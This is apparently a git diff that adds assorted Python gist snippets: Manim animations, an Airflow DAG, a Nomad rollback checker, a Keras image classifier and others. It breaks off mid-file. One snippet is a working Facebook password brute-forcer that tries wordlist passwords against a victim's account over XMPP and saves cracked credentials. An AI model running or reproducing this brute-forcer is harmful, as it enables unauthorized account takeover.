+class PlotFunctionGraph(Scene): + def construct(self): + self.numpy_sin_function() + self.clear() + self.numpy_cos_function() + self.clear() + self.damped_sin_wave() + self.clear() + self.sigmoid_function() + self.clear() + self.soft_plus() + + def numpy_sin_function(self): + function = np.sin + wave = functions.FunctionGraph(function,x_min=-5,x_max=5) + self.play(ShowCreation(wave)) + + def numpy_cos_function(self): + function = np.cos + wave = functions.FunctionGraph(function,x_min=-5,x_max=5,color=RED) + self.play(ShowCreation(wave)) + + + def damped_sin_wave(self): + # y(t) = e^(-t)*cos(2*pi*t) + function = lambda t: np.exp(-t)*np.cos(2*np.pi*t) + wave = functions.FunctionGraph(function,x_min=-1,x_max=5) + self.play(ShowCreation(wave)) + + def sigmoid_function(self): + + function = helpers.sigmoid + wave = functions.FunctionGraph(function,x_max=6,x_min=-6) + self.play(ShowCreation(wave)) + + def soft_plus(self): + function = lambda t: np.log(1+np.exp(t)) + curve = functions.FunctionGraph(function,x_min=-6,x_max=7) + self.play(ShowCreation(curve)) + + + +# combine and animate complex shapes +class DrawFlag(Scene): + def construct(self): + flag = Rectangle(height=1,width=1.9,stroke_width=1.5,fill_color=DARK_BLUE,fill_opacity=1) + bottom_corner = flag.get_corner(LEFT+DOWN) + pole = Line(bottom_corner,bottom_corner+(DOWN*2.5), stroke_width=1.5) + flag.add(pole) + self.play(ShowCreation(flag)) + self.dither() + +class DrawStar(Scene): + def construct(self): + up_triangle = Polygon((0,0,0),(+2,-2,0),(-2,-2,0),stoke_width=1) + down_triangle = Polygon(up_triangle.get_left()+LEFT*(0.5), + up_triangle.get_right()+RIGHT*(0.5), + up_triangle.get_bottom()+DOWN) + self.play(ShowCreation(up_triangle)) + self.play(ShowCreation(down_triangle)) + + +class MoveAlongPathAnimation(Scene): + def construct(self): + wave = functions.FunctionGraph(np.sin,x_min=-5,x_max=4) + dot = Dot(wave.points[0],color=RED,radius=0.2) + self.play(ShowCreation(wave)) + self.play(GrowFromCenter(dot)) + self.play(MoveAlongPath(dot,wave),rate_time=5) + + +class DrawAndGate(Scene): + def construct(self): + + AND_GATE = VGroup() + + arc = Arc(start_angle=3*np.pi/2,angle=np.pi,radius=0.6) + body = Mobject(Line(arc.points[-1], arc.get_top()+LEFT), + Line(arc.get_top()+LEFT, arc.get_top()+LEFT+DOWN*1.2), + Line(arc.get_top()+LEFT+DOWN*1.2, arc.points[0]), + ) + + + arc_center = len(arc.points)/2 + out = Line(arc.points[arc_center],arc.points[arc_center]+RIGHT) + + input_a = Line(body[1].get_center()+UP*0.3,body[1].get_center()+UP*0.3+LEFT) + input_b = Line(body[1].get_center()+DOWN*0.3,body[1].get_center()+DOWN*0.3+LEFT) + + AND_GATE.add(arc,body) + self.play(ShowCreation(AND_GATE)) + + self.play(ShowCreation(input_a),ShowCreation(input_b),ShowCreation(out)) + + +class DivideCircleIntoParts(Scene): + def construct(self): + PARTS = 8 + ANGLE = 360/PARTS + start_point = (-2,0,0) + end_point = (2,0,0) + + circle = Circle(radius=2,color=WHITE) + start_line = Line(start_point,end_point) + copy = start_line.copy() + + center = Dot() + + self.play(ShowCreation(circle)) + self.play(ShowCreation(center)) + self.play(Transform(center,start_line)) + + for i in range(PARTS/2): + divider = copy.rotate(angle=math.radians(ANGLE), about_point=copy.get_center()) + to = Transform(start_line ,divider) + self.play(to) + self.add(divider.copy()) + self.dither() + + +class LightSourcePhoton(Scene): + def construct(self): + + Amplitude = 0.4 + freq = 3 + angular_freq = (2*np.pi)*freq + equation = lambda t: Amplitude*np.sin(t*angular_freq) + + photon = functions.FunctionGraph(equation,x_min=-5,x_max=-4) + light_source = Dot(photon.points[0], radius=0.5, color=YELLOW) + + tip = Arrow(photon.points[-1],photon.points[-1]+RIGHT*0.4) + self.play(GrowFromCenter(light_source)) + self.play(ShowCreation(photon)) + self.play(ShowCreation(tip)) + photon.add(tip) + + animation = ApplyMethod(photon.shift, (6,0,0)) + self.play(animation) + + +class Hydrogen(Scene): + + def construct(self): + hydrogen_atom = Mobject() + title = TexMobject("Hydrogen Atom") + point_A = (-2,2,0) + point_B = (-2,-2,0) + arrow = Arrow(ORIGIN+LEFT*0.9,ORIGIN+RIGHT*0.9) + add_sign = TexMobject("+", stroke_width=0.7) + + orbit = Circle(radius=1.3).scale(0.85) + proton = Dot(radius=0.4, color="GREY").scale(0.85) + elec = Dot(radius=0.2, color="RED").scale(0.85) + p_charge = TexMobject("+", stroke_width=0.5) + e_charge = TexMobject("-",stroke_width=0.5) + + + title.move_to(title.get_center()+UP*2) + elec.move_to(orbit.points[0]) + e_charge.move_to(elec.get_center()) + p_charge.move_to(proton.get_center()) + + self.play(ShowCreation(title)) + self.play(ShowCreation(orbit)) + self.play(GrowFromCenter(proton), GrowFromCenter(p_charge)) + self.play(GrowFromCenter(elec), GrowFromCenter(e_charge)) + + self.play(MoveAlongPath(elec, orbit),MaintainPositionRelativeTo(e_charge, elec), run_time=5,rate_func=None) + + hydrogen_atom.add(orbit,elec, proton, e_charge, p_charge) + atom_copy = hydrogen_atom.copy() + + h1_text = TexMobject("H").move_to(point_A+LEFT*2) + h2_text = TexMobject("H").move_to(point_B+LEFT*2) + + + names = VGroup(h1_text, h2_text) + self.play(ApplyMethod(atom_copy.shift, point_A),ApplyMethod(hydrogen_atom.shift, point_B),Transform(title, names)) + + + add_sign.move_to(atom_copy.get_center()+DOWN*2) + self.play(ShowCreation(add_sign),ShowCreation(arrow)) + + h1_atom = atom_copy.copy().move_to(arrow.get_end()+RIGHT*3.5) + h2_atom = hydrogen_atom.copy().move_to(arrow.get_end()+RIGHT*1.5) + self.remove(atom_copy, hydrogen_atom) + + h2_atom[1].move_to(h2_atom[0].points[2]) + h2_atom[3].move_to(h2_atom[1].get_center()) + h1_atom[1].move_to(h1_atom[0].points[14]) + h1_atom[3].move_to(h1_atom[1].get_center()) + + h2_molecule = VGroup(h1_atom,h2_atom) + two_atoms = VGroup(atom_copy,hydrogen_atom) #org.copy() + + molecule_name = TexMobject("H_{2}").move_to(h2_molecule.get_center()+DOWN*2.5) + self.play(Transform(two_atoms, h2_molecule), FadeOut(arrow.add(add_sign))) + self.add(h2_molecule) + self.remove(title,two_atoms) + self.play(Transform(names, molecule_name)) \ No newline at end of file diff --git a/hard-gists/070c805d947bd17c7a19/._snippet.py b/hard-gists/070c805d947bd17c7a19/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/070c805d947bd17c7a19/._snippet.py differ diff --git a/hard-gists/070c805d947bd17c7a19/snippet.py b/hard-gists/070c805d947bd17c7a19/snippet.py new file mode 100644 index 00000000..a06a1cda --- /dev/null +++ b/hard-gists/070c805d947bd17c7a19/snippet.py @@ -0,0 +1,89 @@ +#!/usr/bin/python + +#Install SleekXMPP & xmpppy Modules +#This program is not for children -(18) +#This program is only for educational purposes only. +#Don't Attack people facebook account's it's illegal ! +#If you want to HaCk into someone's account, you must have the permission of the user. +#usage:Facebook-brute-force.py [wordlist file] +#Coded By Hossam Youssef ^_^ + +import xmpp +import sys +import urllib,re +import time +import random +import datetime + +def internet_on(): + try : + data = urllib.urlopen('https://www.google.com') + return True + except : + return False + +if internet_on() == True: + print """ + \t _____ _____ _____ _ + \t| ___|| ___ \ / __ \ | | + \t| |_ | |_/ / ______ | / \/ _ __ __ _ ___ | | __ ___ _ __ + \t| _| | ___ \ |______| | | | '__| / _` | / __|| |/ / / _ \| '__| + \t| | | |_/ / | \__/\| | | (_| || (__ | < | __/| | + \t\_| \____/ \____/|_| \__,_| \___||_|\_\ \___||_| + + # Private Ghost Password ^_^ + # Coded By Hossam Youssef :) + # Enjoy Cracking ^_^ + # usage: Facebook-brute-force.py [wordlist file] + + """ + + + + + login = raw_input("Enter username of victim account : ") + + + password_list = open(sys.argv[1],"r") + + _login=login+"@chat.facebook.com" + + print "[+]Connecting To Facebook Terminal Server... " + print "[+]Connection Has Been Establishing Successfully To The Server..." + print "[+]Negotiating With The Protocol..." + print "[+]There was no error with Port..." + print "[+]You Are Successfully Connected Enj0y..." + print "[+]Attack Has Been Started Be Patient..." + + for pwd in password_list: + + sys.stdout.write(".") + sys.stdout.flush() + + pwd=pwd.strip('\n') + + jid = xmpp.protocol.JID(_login) + cl = xmpp.Client(jid.getDomain(), debug=[]) + + if cl.connect(('chat.facebook.com',5222)): + print "!~Injecting Password~!" + + else: + print "[+]Successed[+]" + + print '[!]',pwd + + if cl.auth(jid.getNode(), pwd): + cl.sendInitPresence() + print "[+] -> The Account Has Been Cracked ^__^ "," Password Found ==> : ",pwd + file = open(login+".txt", "w") + file.write("Email : " +login+ "@facebook.com\n") + file.write("Password : " +pwd+ "\n") + file.write(str(datetime.datetime.now())) + file.close() + break + + cl.disconnect() + time.sleep(2) +else: + print "You have a problem to connect to the Internet :(" \ No newline at end of file diff --git a/hard-gists/071932322204bcad6063/._snippet.py b/hard-gists/071932322204bcad6063/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/071932322204bcad6063/._snippet.py differ diff --git a/hard-gists/071932322204bcad6063/snippet.py b/hard-gists/071932322204bcad6063/snippet.py new file mode 100644 index 00000000..862f6673 --- /dev/null +++ b/hard-gists/071932322204bcad6063/snippet.py @@ -0,0 +1,80 @@ +# coding: utf-8 + +# Optimized version of the code in this forum post: https://forum.omz-software.com/topic/2850/2-problems-with-shape-nodes-and-sprite-nodes + +from scene import * +import random +import ui +import math + +def render_bottom_texture(width=100.0): + left_path = ui.Path() + left_path.move_to(0, 0) + left_path.line_to(width/2, width/4) + left_path.line_to(width/2, 0) + right_path = ui.Path() + right_path.move_to(width, 0) + right_path.line_to(width / 2, 0) + right_path.line_to(width/2, width/4) + img_height = width/4 + with ui.ImageContext(width, width/4) as ctx: + ui.set_color('#009900') + left_path.fill() + ui.set_color('#3fb427') + right_path.fill() + return Texture(ctx.get_image()) + +def render_top_texture(width=100.0): + height = width/2 + top_path = ui.Path() + top_path.move_to(width / 2, width/2) + top_path.line_to(width, width/4) + top_path.line_to(width / 2, 0) + top_path.line_to(0, width/ 4) + top_path.line_to(-width / 2, 0) + with ui.ImageContext(width, height) as ctx: + ui.set_color('#3aa243') + top_path.fill() + return Texture(ctx.get_image()) + +class HeightTileNode (Node): + def __init__(self, top_tex, bottom_tex, width, height, position): + Node.__init__(self, position=position) + bottom_node = SpriteNode(bottom_tex, parent=self) + right_wall = SpriteNode(parent=self) + right_wall.size = (width/2, height) + right_wall.color = '#3fb427' + right_wall.anchor_point = (-1, 0) + right_wall.position = (0, width/8) + left_wall = SpriteNode(parent=self) + left_wall.size = (width/2, height) + left_wall.color = '#009900' + left_wall.anchor_point = (1, 0) + left_wall.position = (0, width/8) + top_node = SpriteNode(top_tex, parent=self) + top_node.position = (0, height + width/8) + +class MyScene (Scene): + def create_tile(self, height, position, width=100.): + return HeightTileNode(self.top_tex, self.bottom_tex, width, height, position) + + def setup(self): + self.width = 100.0 + self.bottom_tex = render_bottom_texture(self.width) + self.top_tex = render_top_texture(self.width) + self.map_width = 29 + self.height_map = [] + for i in range(0, self.map_width): + self.height_map.append([]) + for k in range(0, self.map_width): + self.height_map[-1].append(random.randint(1, 255)) + self.height_tile_node = Node(position = (700, -50)) + self.height_tile_node.scale = 0.32 + self.height_tile_node.position = (275, 200) + self.add_child(self.height_tile_node) + for i in range(len(self.height_map) - 1, -1, -1): + for k in range(0, len(self.height_map[i])): + tile_node = self.create_tile(self.height_map[i][k], (k * self.width / 2 + i * self.width / 2 - 738, i * self.width / 4 - k * self.width / 4 + 384), self.width) + self.height_tile_node.add_child(tile_node) + +run(MyScene(), show_fps=True) diff --git a/hard-gists/075c35b536cc08b832e353f2f43c0bdc/._snippet.py b/hard-gists/075c35b536cc08b832e353f2f43c0bdc/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/075c35b536cc08b832e353f2f43c0bdc/._snippet.py differ diff --git a/hard-gists/075c35b536cc08b832e353f2f43c0bdc/snippet.py b/hard-gists/075c35b536cc08b832e353f2f43c0bdc/snippet.py new file mode 100644 index 00000000..f6e26e2f --- /dev/null +++ b/hard-gists/075c35b536cc08b832e353f2f43c0bdc/snippet.py @@ -0,0 +1,150 @@ +#!/usr/bin/env python + +import argparse +import fileinput +import grp +import json +import urllib.request +import os +import subprocess +import tarfile + +# Config +HOME_DIR = os.environ.get('HOME') +ACCOUNT_NAME = grp.getgrgid(os.getgid()).gr_name +WALLABAG_ARCHIVE_URL = 'https://wllbg.org/latest-v2-package' +WALLABAG_ARCHIVE_NAME = 'release-2.2.2' +ALWAYSDATA_API_URL = 'https://api.alwaysdata.com/v1/' + + +if __name__ == "__main__": + + parser = argparse.ArgumentParser( + description="Install Wallabag on alwaysdata." + ) + parser.add_argument('destination', + help='The destination directory (absolute path)') + parser.add_argument('apikey', + help='alwaysdata API key (see your Profile section)') + parser.add_argument('database_type', + choices=['MYSQL', 'POSTGRESQL'], + help='The database type') + parser.add_argument('database', + help='The database name') + parser.add_argument('database_user', + help='The database user name') + parser.add_argument('database_password', + help='The database user password') + parser.add_argument('url', + help='The URL to join your Wallabag app') + + args = parser.parse_args() + apikey = '%s account=%s' % (args.apikey, ACCOUNT_NAME) + relative_destination_dir = '/' + args.destination.strip(HOME_DIR) + + # Download archive + print('Downloading/extracting archive to %s... (eta: 30 seconds)' % + args.destination) + # Without this header, wallabag servers send a 403 + headers = {'User-Agent': 'alwaysdata'} + request = urllib.request.Request(WALLABAG_ARCHIVE_URL, None, headers) + response = urllib.request.urlopen(request) + tar = tarfile.open(mode="r|gz", fileobj=response) + tar.extractall(args.destination) + tar.close() + + # Initialize API connection + passman = urllib.request.HTTPPasswordMgrWithDefaultRealm() + passman.add_password(None, ALWAYSDATA_API_URL, apikey, '') + auth_handler = urllib.request.HTTPBasicAuthHandler(passman) + opener = urllib.request.build_opener(auth_handler) + urllib.request.install_opener(opener) + + # Create database user + print('Creating database user...') + data = { + 'type': args.database_type, + 'name': args.database_user, + 'password': args.database_password + } + data = json.dumps(data).encode('ascii') + request = urllib.request.Request( + ALWAYSDATA_API_URL + 'database/user/', + data, + headers={'Content-Type': 'application/json'}) + response = urllib.request.urlopen(request) + + # Create database + print('Creating database...') + data = { + 'type': args.database_type, + 'name': args.database, + 'permissions': {args.database_user: 'FULL'} + } + data = json.dumps(data).encode('ascii') + request = urllib.request.Request( + ALWAYSDATA_API_URL + 'database/', + data, + headers={'Content-Type': 'application/json'}) + response = urllib.request.urlopen(request) + + # Create site + print('Creating site...') + data = { + 'name': 'Wallabag', + 'httpd': 'apache', + 'type': 'apache_standard', + 'path': os.path.join(relative_destination_dir, WALLABAG_ARCHIVE_NAME, 'web'), + 'addresses': [args.url], + 'vhost_additional_directives': """ + + AllowOverride None + Order Allow,Deny + Allow from All + + + Options -MultiViews + RewriteEngine On + RewriteCond %{{REQUEST_FILENAME}} !-f + RewriteRule ^(.*)$ app.php [QSA,L] + + + """.format(os.path.join(args.destination, WALLABAG_ARCHIVE_NAME, 'web')) + } + data = json.dumps(data).encode('ascii') + request = urllib.request.Request( + ALWAYSDATA_API_URL + 'site/', + data, + headers={'Content-Type': 'application/json'}) + response = urllib.request.urlopen(request) + + # Update wallabag parameters.yml + print('Update parameters.yml...') + for line in fileinput.input(os.path.join( + args.destination, + WALLABAG_ARCHIVE_NAME, 'app', 'config', + 'parameters.yml'), inplace=True): + if line.strip(): + if 'database_driver:' in line: + print(' database_driver: %s' % ( + 'pdo_mysql' if args.database_type == 'MYSQL' + else 'pdo_pgsql')) + elif 'database_host:' in line: + print(' database_host: %s' % '%s-%s.alwaysdata.net' % ( + args.database_type.lower(), + ACCOUNT_NAME)) + elif 'database_name:' in line: + print(' database_name: %s' % args.database) + elif 'database_user:' in line: + print(' database_user: %s' % args.database_user) + elif 'database_password:' in line: + print(' database_password: %s' % args.database_password) + elif 'database_path:' in line: + print(' database_path: null') + else: + print(line) + + # Execute wallabag installer + print('Launch wallabag installer...') + subprocess.run("%s/bin/console wallabag:install -e=prod" % ( + os.path.join(args.destination, WALLABAG_ARCHIVE_NAME)), shell=True) diff --git a/hard-gists/076424abd8b012371b516da32807ca14/._snippet.py b/hard-gists/076424abd8b012371b516da32807ca14/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/076424abd8b012371b516da32807ca14/._snippet.py differ diff --git a/hard-gists/076424abd8b012371b516da32807ca14/snippet.py b/hard-gists/076424abd8b012371b516da32807ca14/snippet.py new file mode 100644 index 00000000..c67d7c11 --- /dev/null +++ b/hard-gists/076424abd8b012371b516da32807ca14/snippet.py @@ -0,0 +1,98 @@ +""" +Code that goes along with the Airflow tutorial located at: +https://github.com/airbnb/airflow/blob/master/airflow/example_dags/tutorial.py +""" +from airflow import DAG +from airflow.operators.python_operator import PythonOperator +from airflow.operators.generic_transfer import GenericTransfer +from airflow.contrib.hooks import FTPHook +from airflow.hooks.mysql_hook import MySqlHook + +from datetime import datetime, timedelta +import codecs +import os +import logging +five_days_ago = datetime.combine(datetime.today() - timedelta(5), datetime.min.time()) +default_args = { + 'owner': 'flolas', + 'depends_on_past': True, + 'start_date': five_days_ago, + 'email': ['felipe.lolas013@bci.cl'], + 'email_on_failure': False, + 'email_on_retry': False, + # 'queue': 'bash_queue', + # 'pool': 'backfill', + # 'priority_weight': 10, + #'end_date': datetime(2016, 1, 1), + } +""" +This function get a file from an FTP, then save it to a folder on worker fs +TODO: Delete blank file when file not found, then skip +""" +def download_file_from_ftp(remote_path, local_path, prefix, suffix,conn_id, ext, **kwargs): + conn = FTPHook(ftp_conn_id=conn_id) + date = str(kwargs['execution_date'].day) + '-' + str(kwargs['execution_date'].month) + '-' + str(kwargs['execution_date'].year) + fl = prefix + date + suffix + '.' + ext + remote_filepath = remote_path + fl + local_filepath = local_path + fl + logging.info('Getting file: {}'.format(remote_filepath)) + conn.retrieve_file(remote_filepath, local_filepath) + return local_filepath +""" +Expand columns process with pandas and save to the same csv +""" +def process_file_from_fs(header=None, sep=',', decimal='.', **kwargs): + import pandas as pd + def unpack_col(col_to_unpack, df_to_append = None, header = 'col', sep=',', na_value=''): + unpacked_cols = col_to_unpack.fillna(na_value).apply(lambda x: pd.Series(x.split(','))).fillna(na_value) + #add dynamic columns names based on # of rows and parameter header passed for prefix (header_#) + col_names = [] + for i in unpacked_cols.columns: + col_names.append(header + '_' + str(i)) + unpacked_cols.columns = col_names + if isinstance(df_to_append, pd.DataFrame): + #return df concatenated with previously unpacked columns + return pd.concat([df_to_append, unpacked_cols], axis=1) + else: + #return df only with unpacked columns + return unpacked_cols + # Esto lo que hace es recibir el output de la tarea anterior con xcom(local_filepath si se logro descargar el archivo) + local_filepath = kwargs['ti'].xcom_pull(task_ids='download_file') + df = pd.read_csv(local_filepath, sep = sep, header = header, decimal = '.', parse_dates=True, encoding='utf-8') + df = unpack_col(df[1], df, header='sent_mail') + df = unpack_col(df[2], df, header='recv_mail') + df.to_csv(local_filepath, sep='\t', encoding='utf-8') + return local_filepath + +def bulk_load_sql(table_name, **kwargs): + local_filepath = kwargs['ti'].xcom_pull(task_ids='download_file') + conn = MySqlHook(conn_name_attr='ib_sql') + conn.bulk_load(table_name, local_filepath) + return table_name +dag = DAG('carga-mails-ejecutivos-6', default_args=default_args,schedule_interval="@daily") +t1 = PythonOperator( + task_id='download_file', + python_callable=download_file_from_ftp, + provide_context=True, + op_kwargs={'remote_path': '/home/flolas/files/' + ,'local_path': '/usr/local/airflow/files/' + ,'ext': 'csv' + ,'prefix': 'mail_' + ,'suffix': '' + ,'conn_id': 'ftp_servidor' + }, + dag=dag) +t2 = PythonOperator( + task_id='process_file', + python_callable=process_file_from_fs, + provide_context=True, + op_kwargs={'sep': '|'}, + dag=dag) +t3 = PythonOperator( + task_id='file_to_MySql', + provide_context=True, + python_callable=bulk_load_sql, + op_kwargs={'table_name': 'MailsEjecutivos'}, + dag=dag) +t1 >> t2 +t2 >> t3 diff --git a/hard-gists/076bbc6a0d5056d20ad45095b434b02d/._snippet.py b/hard-gists/076bbc6a0d5056d20ad45095b434b02d/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/076bbc6a0d5056d20ad45095b434b02d/._snippet.py differ diff --git a/hard-gists/076bbc6a0d5056d20ad45095b434b02d/snippet.py b/hard-gists/076bbc6a0d5056d20ad45095b434b02d/snippet.py new file mode 100644 index 00000000..6d34cf28 --- /dev/null +++ b/hard-gists/076bbc6a0d5056d20ad45095b434b02d/snippet.py @@ -0,0 +1,104 @@ +#!/usr/bin/env python +""" +As part of my jenkins build-pipeline, I'm having jenkins build and then deploy my services directly into nomad. +my build and deploy in jenkins looks like this: +docker build -t pdfservice:$BUILD_NUMBER . +docker tag pdfservice:$BUILD_NUMBER registry.service.consul:5000/pdfservice:$BUILD_NUMBER +docker push registry.service.consul:5000/pdfservice:$BUILD_NUMBER +docker build -t pdfservice:latest . +docker tag pdfservice:latest registry.service.consul:5000/pdfservice:latest +docker push registry.service.consul:5000/pdfservice:latest +sed "s/@@BUILD_NUMBER@@/$BUILD_NUMBER/g" pdfservice.nomad.sed >pdfservice.nomad +nomad run pdfservice.nomad +./nomad-check.py pdfservice $BUILD_NUMBER + +So, this code nomad-check, will see if the tag BUILD_NUMBER got ran successfully with nomad, if it failed for whatever reason +then it will roll-back to a previous BUILD_NUMBER. (up to 10 times). + + uses https://github.com/jrxfive/python-nomad + pip install python-nomad + +""" +import subprocess +import sys +import time +import nomad + +def job(n, service): + """ + return a job + """ + return n.job.get_job(service) + +def check(n, service): + """return status on service with nomad connection n + """ + s = job(n, service) + return s[u'Status'] + +def imageBuildNumber(image): + """return build number from image config""" + try: + return image.rsplit(':', 1)[1] + except IndexError: + return 0 + except AttributeError: + return 0 + +def rollback(service, buildNumber): + """rollback nomad service to buildNumber. + i.e. you give me the buildNumber to go back to. + """ + sed = 'sed "s/@@BUILD_NUMBER@@/%s/g" pdfservice.nomad.sed >pdfservice.nomad' % buildNumber + out = subprocess.check_output(sed, shell=True) + print(sed, out) + out = subprocess.check_output(['nomad','run','%s.nomad' % service]) + print('nomad:', out) + return True + +def waitForBuildAndThenCheck(n, service, buildNumber, secs=10): + """wait around until we get the right build number in the image, and then run a check + """ + for i in range(1, secs): + s = job(n, service) + image = s['TaskGroups'][0]['Tasks'][0]['Config']['image'] + iBuildNumber = imageBuildNumber(image) + if buildNumber == iBuildNumber: + return True, s[u'Status'] + else: + time.sleep(1) + return image, s[u'Status'] +def check(n, service, buildNumber): + """ + check service for buildNumber as running and happy. + returns True if happy. + returns False if not happy. + """ + success, status = waitForBuildAndThenCheck(n, service, buildNumber) + if success is True: + if status == 'running': + print("OK: %s is in %s state with buildNumber %s" % (service, status, buildNumber)) + return True + print("ERROR: %s is in state %s with buildNumber %s (%s)" % (service, status, imageBuildNumber(success), success)) + return False + +def main(service, buildNumber): + """main""" + n = nomad.Nomad('nomad.service.consul', timeout=5) + if check(n, service, buildNumber): + #success! + sys.exit(0) + else: + # rollback to a previous working build... + # up to 5 previous builds. + prevBuildNumber = int(buildNumber)-1 + for i in range(prevBuildNumber, prevBuildNumber-5, -1): + print("INFO:rolling back to buildnumber:%s" % i) + prevbuildNumber = str(i) + rollback(service, i) + ret = check(n, service, i) + if ret: + sys.exit(0) + +if __name__ == '__main__': + main(sys.argv[1], sys.argv[2]) \ No newline at end of file diff --git a/hard-gists/07cdfc2826a565b50a68/._snippet.py b/hard-gists/07cdfc2826a565b50a68/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/07cdfc2826a565b50a68/._snippet.py differ diff --git a/hard-gists/07cdfc2826a565b50a68/snippet.py b/hard-gists/07cdfc2826a565b50a68/snippet.py new file mode 100644 index 00000000..224d9d6a --- /dev/null +++ b/hard-gists/07cdfc2826a565b50a68/snippet.py @@ -0,0 +1,48 @@ +# Inspired and adopted from https://gist.github.com/sekondus/4322469 +# COMES WITH ABOSLUTELY NO WARRANTY OF ANY KIND. +# TOTAL FREEWARE, NO CLAIMS MADE OF ANY SORT. +# SELL IT, BURN IT, PRETEND ITS YOUR OWN. +# RELEASED UNDER NOBODY CARES LICENSE. + +import os +import base64 + +from Crypto.Cipher import AES + + + +BLOCK_SIZE = 32 +PADDING='#' + +def _pad(data, pad_with=PADDING): + """ + Data to be encrypted should be on 16, 24 or 32 byte boundaries. + So if you have 'hi', it needs to be padded with 30 more characters + to make it 32 bytes long. Similary if something is 33 bytes long, + 31 more bytes are to be added to make it 64 bytes long which falls + on 32 boundaries. + + - BLOCK_SIZE is the boundary to which we round our data to. + - PADDING is the character that we use to padd the data. + """ + return data + (BLOCK_SIZE - len(data) % BLOCK_SIZE) * PADDING + +def encrypt(secret_key, data): + """ + Encrypts the given data with given secret key. + """ + cipher = AES.new(_pad(secret_key, '@')[:32]) + return base64.b64encode(cipher.encrypt(_pad(data))) + +def decrypt(secret_key, encrypted_data): + """ + Decryptes the given data with given key. + """ + cipher = AES.new(_pad(secret_key, '@')[:32]) + return cipher.decrypt(base64.b64decode(encrypted_data)).rstrip(PADDING) + + +KEY='your-key-super-duper-secret-key-here-only-first-32-characters-are-used' +decrypted = encrypt(KEY, 'Hello, world!') +print decrypted +print decrypt(KEY, decrypted) diff --git a/hard-gists/0830affa1f7f19fd47b06d4cf89ed44d/._snippet.py b/hard-gists/0830affa1f7f19fd47b06d4cf89ed44d/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/0830affa1f7f19fd47b06d4cf89ed44d/._snippet.py differ diff --git a/hard-gists/0830affa1f7f19fd47b06d4cf89ed44d/snippet.py b/hard-gists/0830affa1f7f19fd47b06d4cf89ed44d/snippet.py new file mode 100644 index 00000000..e5e5ecb1 --- /dev/null +++ b/hard-gists/0830affa1f7f19fd47b06d4cf89ed44d/snippet.py @@ -0,0 +1,115 @@ +'''This script goes along the blog post +"Building powerful image classification models using very little data" +from blog.keras.io. +It uses data that can be downloaded at: +https://www.kaggle.com/c/dogs-vs-cats/data +In our setup, we: +- created a data/ folder +- created train/ and validation/ subfolders inside data/ +- created cats/ and dogs/ subfolders inside train/ and validation/ +- put the cat pictures index 0-999 in data/train/cats +- put the cat pictures index 1000-1400 in data/validation/cats +- put the dogs pictures index 12500-13499 in data/train/dogs +- put the dog pictures index 13500-13900 in data/validation/dogs +So that we have 1000 training examples for each class, and 400 validation examples for each class. +In summary, this is our directory structure: +``` +data/ + train/ + dogs/ + dog001.jpg + dog002.jpg + ... + cats/ + cat001.jpg + cat002.jpg + ... + validation/ + dogs/ + dog001.jpg + dog002.jpg + ... + cats/ + cat001.jpg + cat002.jpg + ... +``` +''' + +from keras.preprocessing.image import ImageDataGenerator +from keras.models import Sequential +from keras.layers import Conv2D, MaxPooling2D +from keras.layers import Activation, Dropout, Flatten, Dense +from keras import backend as K + + +# dimensions of our images. +img_width, img_height = 150, 150 + +train_data_dir = 'data/train' +validation_data_dir = 'data/validation' +nb_train_samples = 2000 +nb_validation_samples = 800 +epochs = 50 +batch_size = 16 + +if K.image_data_format() == 'channels_first': + input_shape = (3, img_width, img_height) +else: + input_shape = (img_width, img_height, 3) + +model = Sequential() +model.add(Conv2D(32, (3, 3), input_shape=input_shape)) +model.add(Activation('relu')) +model.add(MaxPooling2D(pool_size=(2, 2))) + +model.add(Conv2D(32, (3, 3))) +model.add(Activation('relu')) +model.add(MaxPooling2D(pool_size=(2, 2))) + +model.add(Conv2D(64, (3, 3))) +model.add(Activation('relu')) +model.add(MaxPooling2D(pool_size=(2, 2))) + +model.add(Flatten()) +model.add(Dense(64)) +model.add(Activation('relu')) +model.add(Dropout(0.5)) +model.add(Dense(1)) +model.add(Activation('sigmoid')) + +model.compile(loss='binary_crossentropy', + optimizer='rmsprop', + metrics=['accuracy']) + +# this is the augmentation configuration we will use for training +train_datagen = ImageDataGenerator( + rescale=1. / 255, + shear_range=0.2, + zoom_range=0.2, + horizontal_flip=True) + +# this is the augmentation configuration we will use for testing: +# only rescaling +test_datagen = ImageDataGenerator(rescale=1. / 255) + +train_generator = train_datagen.flow_from_directory( + train_data_dir, + target_size=(img_width, img_height), + batch_size=batch_size, + class_mode='binary') + +validation_generator = test_datagen.flow_from_directory( + validation_data_dir, + target_size=(img_width, img_height), + batch_size=batch_size, + class_mode='binary') + +model.fit_generator( + train_generator, + steps_per_epoch=nb_train_samples // batch_size, + epochs=epochs, + validation_data=validation_generator, + validation_steps=nb_validation_samples // batch_size) + +model.save_weights('first_try.h5') diff --git a/hard-gists/083777cb1f8c9efe6418c75d18bdd32b/._snippet.py b/hard-gists/083777cb1f8c9efe6418c75d18bdd32b/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/083777cb1f8c9efe6418c75d18bdd32b/._snippet.py differ diff --git a/hard-gists/083777cb1f8c9efe6418c75d18bdd32b/snippet.py b/hard-gists/083777cb1f8c9efe6418c75d18bdd32b/snippet.py new file mode 100644 index 00000000..35f9a1ca --- /dev/null +++ b/hard-gists/083777cb1f8c9efe6418c75d18bdd32b/snippet.py @@ -0,0 +1,69 @@ +#!/usr/bin/env python3 +__author__ = 'Artur Poznanski' + +import evdev +import ev3dev.auto as ev3 +import threading +import time + +## Some helpers ## +def clamp(n, minn, maxn): + return max(min(maxn, n), minn) + +def scale(val, src, dst): + return (float(val - src[0]) / (src[1] - src[0])) * (dst[1] - dst[0]) + dst[0] + +def scale_stick(value): + return scale(value,(0,255),(-1000,1000)) + +def dc_clamp(value): + return clamp(value,-1000,1000) + +## Initializing ## +print("Finding ps3 controller...") +devices = [evdev.InputDevice(fn) for fn in evdev.list_devices()] +for device in devices: + if device.name == 'PLAYSTATION(R)3 Controller': + ps3dev = device.fn + +gamepad 